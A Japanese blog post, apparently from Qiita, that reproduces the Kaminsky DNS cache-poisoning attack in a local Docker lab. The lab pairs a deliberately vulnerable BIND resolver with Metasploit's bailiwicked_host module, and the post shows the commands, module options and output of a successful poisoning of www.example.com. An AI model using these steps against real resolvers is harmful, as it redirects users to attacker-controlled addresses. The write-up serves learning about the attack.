Kaminsky Attackを試してみた（Docker版）

以下の記事でKaminsky Attackを試したのですが、VM上でDockerを立てて面倒だったのでDockerのみでやる方法を試してみました。
ここでは詳細を省いて書いているので詳細が知りたい方は以下。
http://qiita.com/knqyf263/items/b086bbfa391181ffa578

#環境
全てDockerでやりました。
IPアドレス書きましたが、固定とかしてないので以下になったのは偶然です。
もし他に実験したい方がいれば各自変更して下さい。

- OS
	- OS X 10.11.6
- Docker for Mac
	- 1.12.6
- 攻撃者サーバ（Metasploit Framework)
	- 172.17.0.2
- 被攻撃キャッシュサーバ（BIND）
	- 172.17.0.3
- ルートサーバ 兼 example.nom権威サーバ（tinydns）
	- 172.17.0.4

#実験
以下は全てDocker for Macでやっています。

## ルートサーバ 兼 example.nom権威サーバ（tinydns）

### 設定ファイル
tinydnsのDockerイメージを利用します。
まず、Mac上でtinydns.dataを用意します。

```
$ touch axfrdns.tcp
```

### Dockerコンテナ起動

準備ができたので以下で起動します。
tinydnsの起動のためにはtinydns.dataが必要なので自分のアドレスに変更して作成します。

```
$ docker run --privileged --name tinydns --rm -it -v `pwd`:/data skurtzemann/tinydns bash
root@c955ccb16b76:/# ip a
root@c955ccb16b76:/# vim /data/tinydns.data
.:172.17.0.4:ns.toor.tss:518400
.example.com: 172.17.0.4:ns.example.com:3600
+www.example.com:192.168.33.100
```

今回は自分のアドレスが172.17.0.4だったので変更します。

### 遅延の設定
200msの遅延を入れます。

```
root@c955ccb16b76:/# tc qdisc add dev eth0 root netem delay 200ms
```

### tinydnsの起動
init.shでtinydnsが起動します。

```
root@c955ccb16b76:/# ./init.sh
Building tinydns data
/usr/bin/tinydns-data
Building axfrdns tcp file
tcprules tcp.cdb tcp.tmp < tcp
Starting tinydns and axfrdns (svscan)
```

tinydnsの設定は完了です。

## 被攻撃キャッシュサーバ（BIND）
以下に脆弱なBINDのDockerfileを置いてあるのでこれを使います。
https://github.com/knqyf263/docker-kaminsky

起動後にcache.dbを先程のtinydnsのIPアドレスに変更します。
変更できたらBINDを起動します。runningと出ていれば大丈夫です。

```
# docker run --rm --name bind -it knqyf263/docker-kaminsky bash
[root@9bf6f2888d1a /]# vim /etc/cache.db
.                        3600000      NS    A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.      3600000      A     172.17.0.4
[root@9bf6f2888d1a /]# /var/named/chroot/sbin/named -g -t /var/named/chroot -c /etc/named.conf
...
17-Jan-2017 04:13:01.865 running
```

## 攻撃者サーバ（Metasploit Framework)
Kali Linuxの公式Dockerイメージを使います。
起動したらMetasploit Frameworkをインストールします。

```
$ docker run --rm -t -i kalilinux/kali-linux-docker /bin/bash
root@20fd9d5decee:/# apt-get update
root@20fd9d5decee:/# apt-get install metasploit-framework
```

## テスト
正しくexample.comのNSレコードが引けるか確認してみます。
docker execなどでBINDのコンテナに入り、名前解決してみます。

```
$ docker exec -it bind bash
[root@9bf6f2888d1a /]# dig @127.0.0.1 ns example.com

; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.47.rc1.el6_8.3 <<>> @127.0.0.1 ns example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12159
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; QUESTION SECTION:
;example.com.                   IN      NS

;; ANSWER SECTION:
example.com.            3598    IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.         3598    IN      A       172.17.0.4

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Jan 17 04:17:44 2017
;; MSG SIZE  rcvd: 62
```

正しく引けているようです。

## 攻撃する
msfconsoleを起動したあと、bailiwicked_hostモジュールを利用します。

```
root@20fd9d5decee:/# msfconsole
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) >
```

適切にオプションを設定します。

```
msf auxiliary(bailiwicked_host) > set RHOST 172.17.0.3
RHOST => 172.17.0.3
msf auxiliary(bailiwicked_host) > set SRCPORT 10000
SRCPORT => 10000
msf auxiliary(bailiwicked_host) > set HOSTNAME www.example.com
HOSTNAME => www.example.com
msf auxiliary(bailiwicked_host) > set INTERFACE eth0
INTERFACE => eth0
msf auxiliary(bailiwicked_host) > set RECONS 172.17.0.4
RECONS => 172.17.0.4
```

実行します。

```
msf auxiliary(bailiwicked_host) > run

[*] Targeting nameserver 172.17.0.3 for injection of www.example.com. as 1.3.3.7
[*] Querying recon nameserver for example.com.'s nameservers...
[*]  Got an NS record: example.com.            259200  IN      NS      3600.ns.example.com.
[*]   Querying recon nameserver for address of 3600.ns.example.com....
[*]    Got an A record: 3600.ns.example.com.    259200  IN      A       172.17.0.4
[*]     Checking Authoritativeness: Querying 172.17.0.4 for example.com....
[*]     3600.ns.example.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Calculating the number of spoofed replies to send per query...
[*]   race calc: 100 queries | min/max/avg time: 0.2/0.38/0.2 | min/max/avg replies: 63/596/463
[*] Sending 694 spoofed replies from each nameserver (1) for each query
SIOCSIFFLAGS: Operation not permitted
[*] Attempting to inject a poison record for www.example.com. into 172.17.0.3:10000...
[*] Poisoning successful after 250 queries and 173500 responses: www.example.com == 1.3.3.7
[*] TTL: 43618 DATA: #<Resolv::DNS::Resource::IN::A:0x00561a9d862168>
[*] Auxiliary module execution completed
```

成功したと出たので、BIND上で名前を引いてみると確かに汚染されています。

```
[root@9bf6f2888d1a /]# dig @127.0.0.1 www.example.com +short
1.3.3.7
```

# まとめ
最初からDockerでやればよかった。